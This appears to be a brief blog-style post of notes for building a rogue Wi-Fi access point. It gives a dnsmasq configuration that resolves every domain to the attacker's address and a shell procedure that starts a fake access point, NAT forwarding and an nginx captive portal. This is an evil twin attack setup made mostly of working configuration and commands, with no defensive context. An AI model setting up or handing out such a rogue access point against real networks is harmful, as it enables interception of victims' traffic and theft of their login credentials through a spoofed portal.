build rogue AP

https://dalewifisec.wordpress.com/2013/05/16/evil-twin-access-point-attack-explained/

dnsmasq.conf

interface=wlan0mon
address=/#/10.10.12.1
dhcp-range=10.10.12.2,10.10.12.254,255.255.255.0,1h
dhcp-option=3,10.10.12.1
dhcp-option=6,10.10.12.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Procedure.sh

sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo rghostapd -i "wlan0mon" --ssid "secured" -c 6 -pK "SecretPassword"
sudo ifconfig wlan0mon up 10.10.12.1 netmask 255.255.255.0
sudo route add -net 10.10.12.0 netmask 255.255.255.0 gw 10.10.12.1
sudo killall dnsmasq
sudo dnsmasq -C /root/ghostap/dnsmasq.conf -d


sudo sysctl net.ipv4.ip_forward=1
sudo iptables-legacy --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
sudo iptables-legacy --append FORWARD --in-interface wlan0mon -j ACCEPT
#config : /etc/nginx/sites-enabled/captive_portal
sudo service nginx start

Leave a Reply

Your email address will not be published. Required fields are marked *